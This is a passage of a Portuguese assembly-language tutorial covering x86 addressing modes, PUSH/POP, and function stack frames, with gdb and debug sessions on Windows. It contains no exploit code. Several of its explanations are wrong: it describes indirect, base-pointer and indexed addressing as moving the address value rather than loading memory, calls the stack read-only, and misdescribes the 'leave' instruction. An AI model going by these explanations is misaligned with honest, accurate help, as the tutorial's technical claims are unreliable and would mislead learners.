"MOVL %ebx, %eax \n" );

}

-- cut here --
 
Nesse exemplo, os 32 bits ([long] 4 bytes) de dados que o registrador ebx armazena 
sao  copiados para o registrador eax. Na sintaxe AT&T[4] utilizamos a notacao per-
centual ('%') para referenciarmos os registradores.


**********************************
*Immediate Addressing mode - IAM *
**********************************


Com o modo de enderecamento imediato nos nao "referenciamos" valores, mas sim de-
claramos valores imediatos em si. Nos podemos declarar valores imediatos em hexa-
decimal, ou em decimal. Como em C e assembly para referenciarmos  valores hexade-
cimais precisamos utilizar a notacao 0x seguida do valor  propriamente dito, esse 
valor por sua vez pode ser endereco de memoria ou apenas um numero qualquer. Veja
um exemplo do modo de enderecamento imediato:


main (){

__asm (

"MOVL $0x0A, %eax \n" );

}


Repare que o valor hexadecimal 0A (10 em decimal) foi denotado com o cifrao '$' 
que e  utilizado para referenciar o valor imediato que sera  copiado para o re-
gistrador eax. Para passarmos valores decimais obviamente que  bastaria que nao 
utilizemos a notacao de valores hexadecimais ('0x'). Exemplo: $10 . Mas  como o 
processador trabalha com numeros hexadecimais voce vera o 0x'a' ao invez de dez
quando disassemblar.

(...)

0x4012be <main+46>:     mov    $0xa,%eax

(...)


*******************************
*Direct Addressing Mode - DAM * 
*******************************


O modo de enderecamento direto e o padrao, com este metodo referenciamos enderecos 
de memoria. Todos os valores passados sao em  hexadecimal, pois e a  base numerica 
usada nesse nivel de programacao.

Exemplo I


-- dam.c -- 

main (){

__asm (

"MOVL 0x00000010, %eax \n" );

}

-- cut -- 


Repare que para referenciar enderecos de memoria nao utilizamos o cifrao, pois
estamos trabalhando no nivel de processador (hexadecimal).


Exemplo II


-- dam_sampleII.c -- 

main (){
    
   char buffer1[4], buffer2[]="fox";
   
   strcpy (buffer1, buffer2);
   
 __asm (
  
  "NOP; NOP; NOP; NOP    \n"
  "MOV  0x00000010, %eax   "
);
    
}

-- cut -- 


C:\Documents and Settings\David\Desktop>gdb dam_sampleII.exe -q
(gdb) disass main
Dump of assembler code for function main:

(...)

0x4012ba <main+42>:     mov    0x403000,%eax            <---------- DAM
0x4012bf <main+47>:     mov    %eax,0xfffffff8(%ebp)
0x4012c2 <main+50>:     lea    0xfffffff8(%ebp),%eax

(...)
     
0x4012d4 <main+68>:     nop
0x4012d5 <main+69>:     nop
---Type <return> to continue, or q <return> to quit---
0x4012d6 <main+70>:     nop
0x4012d7 <main+71>:     nop
0x4012d8 <main+72>:     mov    0x10,%eax                <---------- 
0x4012dd <main+77>:     leave


O que caracteriza esse modo de enderecamente e a nao utilizacao de nenhum sinal 
especial, como referencias a ebp. Ele basicamente pega um endereco de memoria e
copia para um registrador. Vale ressaltar que voce nao pode copiar  um endereco 
de memoria para outro endereco diretamente.
 

=================
Um detalhe segue 
=================


Setaremos um breakpoint na instrucao seguinte a que copia o endereco de memoria que
contem a string "fox" para o registrador eax, ou seja, a instrucao 47 de main.  


0x4012ba <main+42>:     mov    0x403000,%eax

A string esta armazenada no endereco de memoria 0x'403000'. Setaremos o breakpoint na 
proxima instrucao:


(gdb) break *main+47
Breakpoint 1 at 0x4012bf: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 3.


Executo o programa:


(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe

Breakpoint 1, 0x004012bf in main ()
    at C:/Documents and Settings/David/Desktop/dam_sampleII.c:3
3          char buffer1[4], buffer2[]="fox";


O programa parou, agora veremos se a string realmente esta contida no endereco de 
memoria 0x'403000':


(gdb) x/s 0x403000
0x403000 <_data_end__+4032>:     "fox"


Esta. Bem, voce viu que na instrucao anterior a parada, os dados sao copiados para o 
registrador eax, mas nos nao podemos fazer a leitura desses dados ("Enderecados pelo  
modo de enderecamento direto") quando os mesmos estao no registrador eax "logo apos"
a copia dos dados usando o modo de enderecamento direto.


(gdb) i r eax
eax            0x786f66 7892838
(gdb) x/s 0x786f66
0x786f66:        <Address 0x786f66 out of bounds>

 
Para lermos o valor que esta armazenado no endereco de memoria que eax guarda, devemos 
primeiramente fazer o sistema copiar os dados armazenados no registrador 'eax', para a 
stack, depois que o mesmo estiver "apontando" para esses dados "na stack", e que pode-
mos fazer a leitura do endereco de memoria apontado/guardado "no eax".



0x4012bf <main+47>: mov %eax,0xfffffff8(%ebp)   <-- Move o valor de eax para a stack
0x4012c2 <main+50>: lea 0xfffffff8(%ebp),%eax   <-- Faz eax armazenar o  endereco da 
                                                    string, na stack. 


Variaveis locais sao alocadas na stack, no caso temos duas variaveis locais neste 
programa acima, que sao:


   char buffer1[4], buffer2[]="fox";


Veja que ebp  referencia a stack, este modo de enderecamento sera citado adiante.
Repare que na instrucao 47 os dados (str) foram copiados para a stack (leia sobre
a mesma no capitulo abaixo) e na instrucao 50  eax aponta (armazena) o "endereco"
da stack no qual  esta contida nossa string. Agora se  setarmos  um breakpoint na  
proxima instrucao, podemos visualizar os dados armazenados no endereco de memoria
que eax guarda, que e o endereco da string na  stack. Vamos testar. Primeiramente
setaremos um ponto de parada na instrucao 53 de main e iniciamos o programa.


(gdb) break *main+53
Breakpoint 1 at 0x4012c5: file C:/Documents and Settings/David/Desktop/dam_sampleII.c, line 5.
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/dam_sampleII.exe

Breakpoint 1, 0x004012c5 in main ()
    at C:/Documents and Settings/David/Desktop/dam_sampleII.c:5
5          strcpy (buffer1, buffer2);


Agora que o programa parou veremos o endereco que eax armazena:

(gdb) i r eax
eax            0x22ff70 2293616


O endereco 0x22ff70 e um endereco referente a uma parte da stack/pilha. Veremos 
agora se esse endereco e o da string.


(gdb) x/s 0x22ff70
0x22ff70:        "fox"


Perfeito. Isso foi apenas uma base para voce entender melhor o proximo capitulo.
No qual falo sobre o funcionamento da stack (O que e e  como funciona). Nos tam-
bem podemos ler determinados bytes da string na stack. Para isso basta nao espe-
cificarmos o endereco inicial de uma string armazenada na memoria (Final '0'). A 
string fox\0 possui 3 caracteres e o NULL byte, 4 caracteres, entao se eu quiser
visualizar a letra 'x' utilizo a seguinte sintaxe:


(gdb) x/s 0x22ff72
0x22ff72:        "x"      

Tendo em vista que:

0x22ff70 -> f
0x22ff71 -> 0
0x22ff72 -> x
0x22ff73 -> \0

Se especificarmos um endereco, o gdb nos mostrara tudo que existe deste ponto,
para frente.

(gdb) x/s 0x22ff71
0x22ff71:        "ox"

Claro que os dados devem ser pertencentes ao mesmo bloco. Bloco esse que eh 
iniciado com 0 e terminada no NULL byte (O terminador de string - '\0'). 


**********************************
* Indirect Addressing Mode - IAM *
**********************************


Este sem duvida e o modo de enderecamente mais facil de ser entendido. Ele consiste
em representarmos um endereco de memoria atraves de um registrador entre parenteses
na origiem da sintaxe utilizada, assim  copiando tal endereco para o registrador de 
destino. Veja um melhor exemplo deste modo:

-- cut -- 

main (){

__asm (

"MOVL 0x00000005, %eax \n" 
"MOVL (%eax),%ebx      \n" ); 

}

-- cut --
 

[1] - 0x4012ba <main+42>:     mov    0x5,%eax         <--- Direct Addressing Mode
[2] - 0x4012bf <main+47>:     mov    (%eax),%ebx      <--- Indirect Addressing Mode


1 - Modo de enderecamento direto utilizado para a copia do endereco 0x00000005 para 
    o registrador eax.

2 - Modo de enderecamento indireto. O endereco anteriormente copiado para o regis-
    trador eax agora sera copiado para o registrador ebx. Veja que  eax esta entre
    parenteses, isso faz uma copia DO VALOR ARMAZENADO NELE (0x00000005) para ebx.


*************************************
* Basepointer Addressing Mode - BAM *
*************************************


O modo de  enderecamento de ponteiro  base utiliza um  endereco base armazenado em um 
registrador (ebx - Extended base, registrador base nesse caso) e um offset  para cal-
cular um endereco real. Antes dos dados serem movidos o deslocamento (offset) e inse-
rido ao  endereco base e o resultado  final e  retornado  para o  destino  da sintaxe  
utilizada, assim ao termino desta operacao o  endereco  direto para o valor requerido 
e entao encontrado. Esse modo de enderecamento e semelhante ao IAM, pois tambem e uti-
lizado o valor de um registrador entre parenteses (Endereco Base) para passar  um va-
lor indiretamente. A unica diferenca deste metodo para o outro e a ja falada insercao 
de um  offset e o metodo que este deve ser especificado, ou seja, o  mesmo devera fi-
car antes do registrador  que armazena o endereco base. 


Exemplo:


-- BPAM.c -- 

main (){

__asm (

"MOVL 0x00000005, %ebx \n" 
"MOVL 4(%ebx),%eax     \n" ); 

}

-- cut --

 
[1] - 0x4012ba <main+42>:     mov    0x5,%ebx
[2] - 0x4012c0 <main+48>:     mov    0x4(%ebx),%eax


1 - Move o endereco 0x00000005 para ebx.

2 - O offset (0x04) e adicionado ao endereco base (0x00000005)  armazenado em ebx
    e assim formando o valor 0x00000009 e movendo-o para o registrador eax. Entao 
    o endereco real/absoluto e 0x00000009.    


***********************************
* Indexed Addressing Mode - IDAM  *
***********************************


Utilizando  esse metodo para se encontrar o  endereco absoluto sao utilizados tres 
valores, que sao: Um 'endereco de memoria', um 'registrador' e um 'multiplicador'. 
O valor armazenado no index register e multiplicado por um numero, depois esse re-
sultado e adicionado ao endereco de memoria e logo em seguida este  valor e final-
mente retornado. Um exemplo:


-- IDAM.c -- 

main (){

 __asm (

 "MOV $3, %ebx                  \n"
 "MOV 0x000008 (,%ebx,2), %eax  \n");

}

-- cut -- 


[1] - 0x4012ba <main+42>:     mov    $0x3,%ebx
[2] - 0x4012bf <main+47>:     mov    0x8(,%ebx,2),%eax


1 - E copiado o valor 0x03 para o registrador ebx .

2 - O valor do index register ebx (0x'00000003') e multiplicado por '2', nesse caso, ou 
    seja, 0x00000003 * 2, e logo em seguida o resultado (0x00000006) e  "adicionado" ao 
    endereco de memoria (0x00000008). O resultado final  desta  operacao e: 0x0000000E. 
    0x0E em hexadecimal corresponde a 14 em decimal, 14 e o resultado de 8 + 6.  


Um detalhe que nao podemos esquecer e que, o resultado da multiplicacao do index register 
por um numero deve retornar sempre um numero hexadecimal. Exemplo:


  MOV 0x05, %ebx                        <--- 0x05 e copiado para ebx
  MOV 0x00000000 (,%ebx, 4), %eax       <--- Leia abaixo

  
O detalhe vem agora, veja que o resultado de cinco vezes  quatro e igual a 20 EM DECIMAL,
mas com esse modo de enderecamento e com  todos os  outros, nao podemos  retornar valores 
decimais por que estavamos no nivel de programacao do micro-processador, ou seja, estamos 
mechendo com a memoria do sistema, portanto devemos utilizar numero hexadecimais para tudo 
"neste nivel". Entao o resultado que sera MOVido para o registrador  acumulador (eax) e o
0x00000014 (Tendo em vista que o endereco base e 0x00000000), pois 0x14  equivale a 20 em 
decimal, resultado esse de 5 vezes 4. Voce vera logo mais que apenas dois valores sao re-
almente necessarios neste modo de enderecamento. Exemplo:

movl $0x0,(%esp,1)


----- Capitulo 0x07


[=] + =========================================== + [=]
      ---=[  Funcionamento basico da stack  ]=--- 
[=] + =========================================== + [=]



A stack, ou "pilha" (em portugues) e utilizada para varias coisas na execucao de
um programa, como por exemplo: Armazenar endereco de retorno (Falarei adiante) e 
passar parametros para as subrotinas. Todas as  variaveis locais sao armazenadas  
na 'stack'. As instrucoes utilizadas para manipulacao da stack sao: 


PUSH            --->  EMPURRA DADOS SOBRE A PILHA. Nao se esqueca de que o re-
                      gistrador que  aponta para o topo da pilha/stack e o esp 
                      (extended stack pointer).

POP             --->  "RETIRA" ESSES  DADOS DO TOPO DO  STACK E  INSERE OS MESMOS 
                      SOBRE ALGUM REGISTRADOR  ESPECIFICADO POR NOS. Esses  dados 
                      nao sao literalmente retirados, pois a pilha e marcada como
                      somente leitura. O que acontece e que o registrador esp nao 
                      aponta mais para esse endereco "retirado" da stack.


==================================
Exemplos das instrucoes push e pop
==================================


C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV CH,10  ; Depois da instrucao: CX = 1000
0D3C:0102 PUSH CX    ; Empura o valor '1000' para o topo da stack/pilha.
0D3C:0103 POP DX     ; "Retira" esses dados da stack e copia para o register DX.
0D3C:0104 POP AX     ; A stack nao armazena  mais 1000, portanto nao copia 1000.


-t  <-- Executa a primeira instrucao, a que esta no endereco 0100.
                      
=======  =======  CX=1000  DX=0000  =======  =======  =======  =======
=======  =======  =======  =======  IP=0102   NV UP EI PL NZ NA PO NC
0D3C:0102 51            PUSH    CX

-t  <-- Executa a instrucao que joga o valor de CX para o topo do stack

=======  =======  CX=1000  DX=0000  =======  =======  =======  =======
=======  =======  =======  =======  IP=0103   NV UP EI PL NZ NA PO NC
0D3C:0103 5A            POP     DX

-t  <-- Executa a instrucao que "retira" esses dados da stack e copia para DX

AX=0000  =======  CX=1000  DX=1000  =======  =======  =======  =======
=======  =======  =======  =======  IP=0104   NV UP EI PL NZ NA PO NC
0D3C:0104 58            POP     AX
-q


Nao executei a ultima instrucao, mas o  resultado e "0000" nesse caso, pois depois
do primeiro POP, a stack nao guarda mais o valor 1000, portanto  AX continuaria 0.
A stack funciona no esquema que costumamos chamar de LIFO - Last in First Out, que
significa: O ultimo dentro,  primeiro fora.  A stack/pilha recebe esse nome justa-
mente por trabalhar dessa maneira. Imagine uma  pilha  de CD's (chega de prato ;),
voce empilha  seus CD's um sobre o outro, o ultimo 'CD' que voce coloca no topo da 
pilha e o primeiro que voce retira. E assim que funciona a stack, o ultimo parame-
tro empurrado no topo do stack, e o primeiro parametro que a syscall pegara. Todas 
as vezes que uma funcao/syscall e chamada  essa  mesma  syscall pega os parametros 
passados  para seus  argumentos, da pilha, ou  seja, esses  dados sao  previamente 
empilhados em tempo de execucao sobre o stack, e pegos na execucao da syscall.

Vejam esse codigo fonte:


-- msg.c -- 

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

main (){
     
   MessageBoxA (0, "Text", "Title", 64);
   exit (0);     
} 

-- cut --


A funcao MessageBoxA exibe uma mensagem em uma caixa de dialogo. Seus parametros 
correspondem a: Dono da janela (0), texto da mensagem ("Text"), titutlo ("Title")
da janela e estilo de mensagem (64 = OK). Em tempo de execucao este programa em-
pilhara os respectivos argumentos desta funcao e chamara ("call") o  endereco de  
memoria onde esta armazenado a funcao MessageBoxA. Apos essa chamada a funcao, o  
ultimo dado empilhado, sera  o primeiro retirado. Veja esse exemplo para uma me-
lhor compreensao:


int MessageBox (

HWND hWnd,         // handle do dono da janela
LPCTSTR lpText,    // Endereco do texto 
LPCTSTR lpCaption, // Endereco do titulo 
UINT uType         // Estilo da caixa de mensagem

);


MessageBoxA no stack

              
                 +==============+
                 |     64       |      ---> Primeiro dado empilhado
                 |--------------| 
                 |   "title"    |      ---> Segundo dado empilhado
                 |--------------|
                 |   "text"     |      ---> Terceiro dado empilhado
                 |--------------|
                 |   NULL (0)   |      ---> Quarto dado empilhado
                 +--------------+
 
         call [Endereco da funcao MessageBoxA]


Quando a funcao MessageBoxA e chamada (call) ela pegara primeiramente o ultimo dado 
empilhado, no nosso caso o 0 (dono da janela), depois o texto da  caixa de dialogo, 
titulo da janela e o estilo de  janela (64), assim exibindo a caixa de dialogo pro-
priamente dita. Em asm (Assembly) seria essa uma representacao ideal:


(...) 

      1 -  PUSH 64             ; Empurra 64 (Estilo de janela) no topo do stack
      2 -  PUSH title          ; Titulo da janela.
      3 -  PUSH text           ; Empurra o texto no topo do stack.
      4 -  PUSH 0              ; Dono da janela.
        
        call 0x77D46476        ; Chama a funcao armazenada neste endereco.

(...)


Quando a funcao e chamada ela pegara o ultimo valor empilhado, 4, depois 3, 2 e 1 e
assim consequentemente lhe apresentando a caixa de dialogo.


ExitProcess 

(...)

        PUSH 0             ; Empurra o status de saida sobre o topo do stack.
        call 0x77E698FD    ; Chama a funcao que termina a execucao do programa.


Quando a instrucao call e chamada o endereco da proxima instrucao e posto
no topo da stack. O exemplo que segue sera muito util para seu aprendiza-
do. Escrevi esse programa em assembly e compilei o mesmo com o fasm.


-- cut -- 

 format PE GUI 4.0

 include "c:\fasmw16727 (windows)\include\WIN32AX.INC"

 start:           ; Marca o inicio dos codigos

 jmp hey          ; Pula para o rotulo hey

 chama:
 pop ebx

 invoke MessageBox,0,ebx, "Title",0
 invoke exit,0

 hey:
 call chama
 nome db '6_Bl4ck9_f0x6',0
 
; Importa as API's que contem as funcoes utilizadas no programa

 data import

  library kernel32, 'KERNEL32.DLL', user32, 'user32.dll'

; Importa as funcoes contidas nessas API's

  import kernel32, exit, 'ExitProcess'
  import user32, MessageBox, 'MessageBoxA'

 end data

-- cut -- 


Comentarei o que e realmente importante.

 call chama
 nome db '6_Bl4ck9_f0x6',0

Veja que a instrucao call chama o rotulo "chama", ou seja, o fluxo do programa 
segue desse ponto em diante, a 'proxima instrucao' apos a chamada do  rotulo e 
entao posta no topo da stack, ou seja, a variavel 'nome' que armazena a string 
"6_Bl4ck9_f0x6" e empilhada. O db ali esta marcando que esta variavel armazena 
caracteres, e como se fosse uma 'char' em C.

 pop ebx

Retira os dados empilhados sobre a stack (A "string") e copia os mesmos para o 
registrador ebx. 
 
 invoke MessageBox,0,ebx, "Title",0
 invoke exit,0

Agora veja que interessante, repare que o segundo argumento da funcao MessageBox
e justamente o registrador 'ebx', que esta armazenando os dados anteriormente em-
pilhados, ou seja a string. O invoke chama uma funcao, nesse sao chamadas as fun-
coes MessageBox e ExitProcess (representado por 'exit' no codigo).


Vamos manipular o gdb agora:


C:\Documents and Settings\David>gdb msg.exe -q
(gdb) list
1       #include <stdio.h>
2       #include <stdlib.h>
3       #include <windows.h>
4
5       main (){
6
7          MessageBoxA (0, "Text", "Title", 64);
8          exit (0);
9       }
10
(gdb) q

C:\Documents and Settings\David>


Como voce ja sabe o comando "list" nos mostra os symbols do programa. Caso queira 
visualizar mais linhas de codigo no seu programa, basta que repita o comando list,
se quiser voltar para as  primeiras linhas digite list 0. Repare que  cada  symbol 
possui um numero de identificacao, que pode ser visto a sua esquerda. Disassembla-
remos agora a funcao principal ('main()'). 


C:\Documents and Settings\David>gdb msg.exe -q
(gdb) disassemble main
Dump of assembler code for function main:
0x401290 <main>:        push   %ebp
0x401291 <main+1>:      mov    %esp,%ebp
0x401293 <main+3>:      sub    $0x18,%esp
0x401296 <main+6>:      and    $0xfffffff0,%esp
0x401299 <main+9>:      mov    $0x0,%eax
0x40129e <main+14>:     add    $0xf,%eax
0x4012a1 <main+17>:     add    $0xf,%eax
0x4012a4 <main+20>:     shr    $0x4,%eax
0x4012a7 <main+23>:     shl    $0x4,%eax
0x4012aa <main+26>:     mov    %eax,0xfffffffc(%ebp)
0x4012ad <main+29>:     mov    0xfffffffc(%ebp),%eax
0x4012b0 <main+32>:     call   0x401730 <_alloca>
0x4012b5 <main+37>:     call   0x4013d0 <__main>
0x4012ba <main+42>:     movl   $0x40,0xc(%esp,1)           <-- Estilo de janela
0x4012c2 <main+50>:     movl   $0x403000,0x8(%esp,1)       <-- Titulo
0x4012ca <main+58>:     movl   $0x403006,0x4(%esp,1)       <-- Texto 
0x4012d2 <main+66>:     movl   $0x0,(%esp,1)               <-- Dono da janela
0x4012d9 <main+73>:     call   0x401880 <MessageBoxA@16>   <-- Chamada da funcao
0x4012de <main+78>:     sub    $0x10,%esp
0x4012e1 <main+81>:     movl   $0x0,(%esp,1)
0x4012e8 <main+88>:     call   0x401820 <exit>
End of assembler dump.
(gdb) q

C:\Documents and Settings\David>


O leitor astuto percebera que existe 0x40 ao inves de 64. Isso se deve ao fato de
que o processador trabalha com a base numerica hexadecimal. 0x40 e  equivalente a 
64 em decimal.

(...)

0x4012ba <main+42>:     movl   $0x40,0xc(%esp,1)           <-- Estilo de janela
0x4012c2 <main+50>:     movl   $0x403000,0x8(%esp,1)       <-- Titulo
0x4012ca <main+58>:     movl   $0x403006,0x4(%esp,1)       <-- Texto 
0x4012d2 <main+66>:     movl   $0x0,(%esp,1)               <-- Dono da janela
0x4012d9 <main+73>:     call   0x401880 <MessageBoxA@16>   <-- Chamada da funcao

(...)


Como voce pode ver o estilo de janela e inserido primeiramente sobre a stack, seguido
do endereco de memoria onde esta localizado o titulo da caixa de  mensagem, texto da
mensagem e logo apos o dono da janela. Na instrucao de endereco 0x4012d9 a instrucao
call chamara o endereco 0x401880 no qual "executara" a funcao MessageBoxA, que pega-
ra seus parametros previamente empilhados sobre a stack. Agora, duas  resalvas devem
ser feitas: Esta sintaxe e a 'AT&T', ou seja, a origem e o lado esquerdo e o destino
o lado direito. A outra ressalva e sobre a "nao utilizacao" na  instrucao PUSH, para
empilhamento de dados sobre a stack, ao contrario disto, os dados sao movidos para o
stack pointer (apontado por esp) com a instrucao  movl (move long) e com o metodo de
enderecamento indexed. Para ver as strings armazenadas nos enderecos de  memoria co-
piados para a stack, use o /s como sempre ;) 


(gdb) x/s 0x403000
0x403000 <_data_end__+4032>:     "Title"
(gdb) x/s 0x403000+6
0x403006 <_data_end__+4038>:     "Text"
(gdb) q


Com o sinal de + seguido do numero 6 estou  dizendo que desejo que o gdb me mostre
a string armazenada 6 bytes apos o endereco 0x403000, pois e onde se  inicia o ou-
tro vetor de caracteres. Tambem poderia ter utilizado a  sintaxe x/s 0x403006, di-
retamente. A stack no windows esta armazenada em enderecos baixos e ela  possui um 
esquema de enderecamento que cosiste em crescer de cima para baixo e de '4' em '4' 
bytes. Extended Stack Pointer (esp) = 0006FFC4  <---
 

                        +=====================+
                        | Endereco | Valor    || 
                        +=====================||
                        |                     ||
                        | 0006FFC4  77E714C7  ||
                        | 0006FFC8  FFFFFFFF  ||
                        | 0006FFCC  77F5166A  ||
                        | 0006FFD0  7FFDF000  ||
                        | 0006FFD4  F0909CF0  ||
                        | 0006FFD8  0006FFC8  || 
                        |                     ||
                        +======================+


Instrucoes que manipulam a stack

PUSH $5       ; Empurra o valor 5 na stack
PUSH $9       ; Empurra o valor 9 na stack
PUSH $10      ; Empurra o valor 10
PUSH $11      ; Empurra o valor 11

Veja a pilha logo apos essas instrucoes 


                        +=====================+
                        | Endereco | Valor    | 
                        +=====================+
           4   <----->    0006FFB4 | 0000000B    <-----> 11
           8   <----->    0006FFB8 | 0000000A    <-----> 10
           C   <----->    0006FFBC | 00000009    <----->  9
           0   <----->    0006FFC0 | 00000005    <----->  5
                        | 0006FFC4 | 77E714C7 |
                        | 0006FFC8 | FFFFFFFF |
                        | 0006FFCC | 77F5166A |
                        | 0006FFD0 | 7FFDF000 |
                        | 0006FFD4 | F0909CF0 |
                        | 0006FFD8 | 0006FFC8 |
                        +=====================+
                        |  esp = 0x0006FFB4   |  
                        +=====================+


----- Capitulo 0x07


[=] + =========================================== + [=]
            ---=[  O stack frame ]=--- 
[=] + =========================================== + [=]


O "termo" 'stack frame' nada  mais e que uma representacao de um dos estados de um 
programa montado na memoria em run-time - Tempo de execucao (claro). Veremos agora 
como e composto um stack frame de uma funcao dentro de um programa escrito em C.


C:\Documents and Settings\David>gdb stack_frame.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) list
1       int function (int a, int b, int c){
2
3          char buffer[16];
4
5       }
6
7       main (){
8
9         function (1, 2, 3);
10
(gdb) list
11      }


Disassemblamos a funcao principal

(gdb) disass main
Dump of assembler code for function main:
0x401298 <main>:        push   %ebp
0x401299 <main+1>:      mov    %esp,%ebp
0x40129b <main+3>:      sub    $0x18,%esp
0x40129e <main+6>:      and    $0xfffffff0,%esp
0x4012a1 <main+9>:      mov    $0x0,%eax
0x4012a6 <main+14>:     add    $0xf,%eax
0x4012a9 <main+17>:     add    $0xf,%eax
0x4012ac <main+20>:     shr    $0x4,%eax
0x4012af <main+23>:     shl    $0x4,%eax
0x4012b2 <main+26>:     mov    %eax,0xfffffffc(%ebp)
0x4012b5 <main+29>:     mov    0xfffffffc(%ebp),%eax
0x4012b8 <main+32>:     call   0x401720 <_alloca>
0x4012bd <main+37>:     call   0x4013c0 <__main>
0x4012c2 <main+42>:     movl   $0x3,0x8(%esp,1)
0x4012ca <main+50>:     movl   $0x2,0x4(%esp,1)
0x4012d2 <main+58>:     movl   $0x1,(%esp,1)
0x4012d9 <main+65>:     call   0x401290 <function>         <---- Chama a "function"
0x4012de <main+70>:     leave                              <---- Endereco de retorno
0x4012df <main+71>:     ret
End of assembler dump.
(gdb) q



Veremos o stack frame da funcao "function" mostrada acima. 


(gdb) disassemble function
Dump of assembler code for function function:
0x401290 <function>:    push   %ebp
0x401291 <function+1>:  mov    %esp,%ebp
0x401293 <function+3>:  sub    $0x18,%esp
0x401296 <function+6>:  leave
0x401297 <function+7>:  ret
End of assembler dump.
(gdb) 


Neste exemplo utilizo o "symbol" function para representar  a parte do programa que
queremos ver disassemblada, ou seja, que queremos  ver as instrucoes, mas eu tambem
poderia utilizar  aquele endereco ao lado da instrucao call (disassemble 0x401290).
Repare bem nessas instrucoes, pois elas que serao as utilizadas para  a criacao e a 
destruicao do  stack frame. Para ser mais  especifico as tres  primeiras instrucoes 
criam o stack frame de uma funcao qualquer, as duas ultimas instrucoes por sua vez, 
destroem o stack frame de uma funcao. Vejamos agora um diagrama deste programa mon-
tado na memoria, ou seja, veremos seu stack frame.

       
---=[ Stack frame de uma funcao ]=---


      +----------------+
      |  buffer[0]     |   --> Topo da stack (esp)
 ^    +----------------+
 |    |  buffer[1]     | 
 |    +----------------+
 |    |  buffer[2]     |
 |    +----------------+ 
 |    |  buffer[3]...  |
 |    +----------------+
 |    |                |
 |    | Dummy (8 bytes)|  
 |    |                | 
 |    +----------------+
 |    |     SFP        |   --> Stack Frame Pointer
 |    |                |   --> ebp - Extended Base pointer (referencia dados na stack)  
 |    +----------------+
 |    | RETURN ADDRESS |   --> Endereco da proxima instrucao apos a chamada da funcao.
      +----------------+       
      |      a (1)     |  < ------+
      +----------------+          |
      |      b (2)     |           > Argumentos. function (int a, int b, int c);
      +----------------+          | 
      |      c (3)     |  < ------+
      +----------------+


1 - Os argumentos da funcao sao alocados na memoria em ordem inversa. Nesse caso o 
    primeiro dado a ser inserido no stack frame e o valor da variavel c, depois b, 
    depois a.

2 - O endereco da proxima instrucao apos a chamada da funcao "function" e posto na 
    area "Return address" no stack frame, para o programa saber  onde ele  tem que 
    retornar apos o encerramento da funcao. 

3 - SFP - Stack Frame Pointer aponta para a base do stack frame. O ebp e o regis-
    trador utilizado para fazer referencias aos dados no stack frame.

4 - O espaco para as variaveis locais e reservado na stack/pilha. Lembrando que o 
    gcc tambem cria bytes de "alinhamento" na "area buffer" do stack frame.


==================================
= Se aprofundando no stack frame =
==================================


Como citei anteriormente, existe 5 instrucoes em assembly contidas em todas as funcoes 
de um programa, as 3 primeiras correspondem ao "Prologo", a construcao do stack frame, 
as duas ultimas correspondem ao "Epilogo", a destruicao do stack frame.


O Prologo 

[1] - 0x401290 <function>:    push   %ebp
[2] - 0x401291 <function+1>:  mov    %esp,%ebp
[3] - 0x401293 <function+3>:  sub    $0x18,%esp

O Epilogo

[4] - 0x401296 <function+6>:  leave
[5] - 0x401297 <function+7>:  ret


=====================
Definhando o prologo
=====================


1) - O stack frame (registrador ebp) e  empilhado. Como  ja citei, e atraves deste 
     registrador especial que o programa  faz  referencias aos dados das variaveis 
     locais de uma funcao, nesse caso da funcao "function". 

2) - Como voce ja sabe, quando main chama uma funcao, o endereco da proxima instru-
     cao e posto na stack, disassemble a funcao main e veja a chamada a "function". 

     0x4012d9 <main+65>:     call   0x401290 <function>

     Veja que o programa faz uma chamada exatamente ao endereco inicial desta fun-
     cao. E o endereco de memoria desta instrucao que e posto no topo da stack:

     0x4012de <main+70>:     leave
        
     Este endereco fica armazenado na parte RETURN Address do stack frame, ele e
     referenciado pelo registrador esp. Repare que o 0x'4012de' nao  passa de um 
     endereco de memoria virtual. O leitor astuto percebera que  houve uma copia 
     dos dados do esp (endereco de retorno) para ebp.

3) - E reservado um numero de bytes para alocar as variaveis locais. Nesse caso a 
     variavel local buffer reserva 16 bytes na  stack, a funcao sub subtrai o va-
     lor de um registrador, nesse caso o esp vai ser subtraido em 0x18 bytes assim 
     reservando 24 bytes em decimal p/ alocar as variaveis locais. Voce agora deve
     estar se perguntando: Como? Se 0x18 em hexadecimal  equivale a 24 em decimal? 
     A  resposta  e simples, o gcc reserva 8 bytes em  todas as funcoes de um pro-
     grama em C, o  conjunto desses bytes adicionais sao  chamados de dummy. Entao 
     ja temos o valor total:

     16 (buffer) + 8 (dummy) = 24 

     24 em decimal corresponde a 0x18 em hexadecimal. Vale  ressaltar que algumas 
     vezes o compilador gcc utiliza  "alinhamentos extra" na construcao do  stack 
     frame, mas nao foi o caso aqui. Comprove a existencia do dummy, compile esse 
     codigo:


-- cut -- 

main (){ }

-- cut -- 

Veja que apenas declaro a funcao principal e mais nada. Agora olhe o resultado:

(...)

(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>:        push   %ebp
0x401291 <main+1>:      mov    %esp,%ebp
0x401293 <main+3>:      sub    $0x8,%esp     <--- Veja o dummy aqui.

(...)

Perceba que apenas o espaco para o dummy da funcao principal foi reservado.


=====================
Definhando o epilogo 
=====================


4) - A instrucao leave e composta basicamente por duas instrucoes:

     MOV ebp, esp    <----- Move o endereco de retorno anteriormente copiado para ebp
                            de volta para o esp. 

     POP ebp         <----- Remove o SFP (ebp) do stack frame, assim destruindo-o.


5) - A instrucao ret move o endereco de retorno apontado por esp para o registrador 
     'eip' assim fazendo o programa  continuar  seu fluxo normal, executando a ins-
     trucao depois da chamada a funcao  "function". Lembre-se que o registrador eip 
     aponta para a proxima  instrucao a ser executada.


Veja um diagrama do stack frame da funcao principal com dois argumento.


   main(int argc, char *argv[]){


           +----------------+ 
           |char buffer[28];|    <--- O topo aponta para buffer[0]; 
           +----------------+
           | dummy (8 bytes)|    <--- Dummy da funcao main
           +----------------+
           |   SFP (ebp)    |    <--- Apontador de base
           +----------------+
           | RETURN ADDRESS |    <--- Endereco de retorno de main.
           +----------------+
           |   int argc     |    <----+
